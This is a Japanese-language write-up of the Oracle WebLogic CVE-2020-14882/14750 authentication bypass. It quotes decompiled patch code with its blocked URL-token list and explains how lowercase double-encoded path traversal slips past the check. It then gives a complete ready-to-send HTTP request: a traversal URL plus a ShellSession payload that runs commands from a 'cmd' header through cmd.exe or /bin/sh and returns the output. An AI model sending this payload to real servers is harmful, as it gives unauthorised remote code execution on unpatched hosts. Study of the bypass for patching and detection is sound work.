CVE-2020–14882 Weblogic 認証バイパス RCE

CVE-2020–14882 によるパッチバイパス

private static final String[] IllegalUrl = new String[]{";", "%252E%252E", "%2E%2E", "..", "%3C", "%3E", "<", ">"};

リスト

%252E%252E
%2E%2E
..
%3E
%3C
;
<
>

小文字

>>> "%252E%252E%252F".lower()
'%252e%252e%252f'

%252E%252E%252F から %252e%252e%252f へ

/console/css/%252e%252e%252fconsole.portal

╰─$ grep -rn 'IllegalUrl' *
console.jar/com/bea/console/utils/MBeanUtilsInitSingleFileServlet.java:19:   private static final String[] IllegalUrl = new String[]{";", "%252E%252E", "%2E%2E", "..", "%3C", "%3E", "<", ">"};
console.jar/com/bea/console/utils/MBeanUtilsInitSingleFileServlet.java:40:         for(int i = 0; i < IllegalUrl.length; ++i) {
console.jar/com/bea/console/utils/MBeanUtilsInitSingleFileServlet.java:41:            if (url.contains(IllegalUrl[i])) {

package com.bea.console.utils;

import com.bea.netuix.servlets.manager.SingleFileServlet;
import java.io.IOException;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;

public class MBeanUtilsInitSingleFileServlet extends SingleFileServlet {
   private static final Log LOG = LogFactory.getLog(MBeanUtilsInitSingleFileServlet.class);
   private static final String WL_DISPATCH_POLICY = "wl-dispatch-policy";
   private static boolean hasInited = false;
   private static final long serialVersionUID = 1L;
   private static final String[] IllegalUrl = new String[]{";", "%252E%252E", "%2E%2E", "..", "%3C", "%3E", "<", ">"};

   public static void initMBean() {
      MBeanUtilsInitializer.initMBeanAsynchronously();
   }

   public void init(ServletConfig config) throws ServletException {
      ConsoleWorkManagerUtils.init(config.getInitParameter("wl-dispatch-policy"));
      super.init(config);
   }

   public void service(ServletRequest req, ServletResponse resp) throws ServletException, IOException {
      if (!hasInited) {
         initMBean();
         hasInited = true;
      }

      if (req instanceof HttpServletRequest) {
         HttpServletRequest httpServletRequest = (HttpServletRequest)req;
         String url = httpServletRequest.getRequestURI();

         for(int i = 0; i < IllegalUrl.length; ++i) {
            if (url.contains(IllegalUrl[i])) {
               if (resp instanceof HttpServletResponse) {
                  LOG.error("Invalid request URL detected. ");
                  HttpServletResponse httpServletResponse = (HttpServletResponse)resp;
                  httpServletResponse.sendError(404);
               }

               return;
            }
         }
      }

      try {
         super.service(req, resp);
      } catch (IllegalStateException var7) {
         if (LOG.isDebugEnabled()) {
            LOG.debug(var7);
         }
      } catch (IOException var8) {
         if (LOG.isDebugEnabled()) {
            LOG.debug(var8);
         }
      }

   }
}

CVE-2020-14750 patch.png

consoleapp/webapp/WEB-INF/lib/console.jar/com/bea/console/utils/MBeanUtilsInitSingleFileServlet.java

         for(int i = 0; i < IllegalUrl.length; ++i) {
            if (url.contains(IllegalUrl[i])) {
               if (resp instanceof HttpServletResponse) {
                  LOG.error("Invalid request URL detected. ");
                  HttpServletResponse httpServletResponse = (HttpServletResponse)resp;
                  httpServletResponse.sendError(404);
               }

               return;
            }
         }

ConsoleUtils.isUserAuthenticated(httpServletRequest)

      if (req instanceof HttpServletRequest) {
         HttpServletRequest httpServletRequest = (HttpServletRequest)req;
         String url = httpServletRequest.getRequestURI();
         if (!ConsoleUtils.isUserAuthenticated(httpServletRequest)) {
            throw new ServletException("User not authenticated.");
         }

         if (!this.isValidUrl(url, httpServletRequest)) {
            if (resp instanceof HttpServletResponse) {
               LOG.error("Invalid request URL detected.");
               HttpServletResponse httpServletResponse = (HttpServletResponse)resp;
               httpServletResponse.sendError(404);
            }

            return;
         }
      }

   private boolean isValidUrl(String url, HttpServletRequest req) {
      String consoleContextPath = ConsoleUtils.getConsoleContextPath();
      List portalList = ConsoleUtils.getConsolePortalList();
      Iterator var5 = portalList.iterator();

      String tmp;
      do {
         if (!var5.hasNext()) {
            return false;
         }

         String portal = (String)var5.next();
         tmp = "/" + consoleContextPath + portal;
      } while(!url.equals(tmp));

      return true;
   }

ConsoleUtils.getConsolePortalList

   public static List getConsolePortalList() {
      if (consolePortalList == null) {
         consolePortalList = new ArrayList();
         consolePortalList.add("/console.portal");
         consolePortalList.add("/consolejndi.portal");
         String validPortalNames = System.getProperty("weblogic.console.validPortalNames");
         if (!StringUtils.isEmptyString(validPortalNames)) {
            String[] vArray = validPortalNames.split(",");

            for(int i = 0; i < vArray.length; ++i) {
               consolePortalList.add(vArray[i]);
            }
         }
      }

      return consolePortalList;
   }

Weblogic 12.2.1.4.0 向けコマンドエコー

例

cmd: chcp 65001&&whoami&&ipconfig

Burpsuite

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 172.16.242.134:7001
cmd: chcp 65001&&whoami&&ipconfig
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1258

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
    res.getWriter().write("");
}executeThread.interrupt();
");

出力表示参考リンク：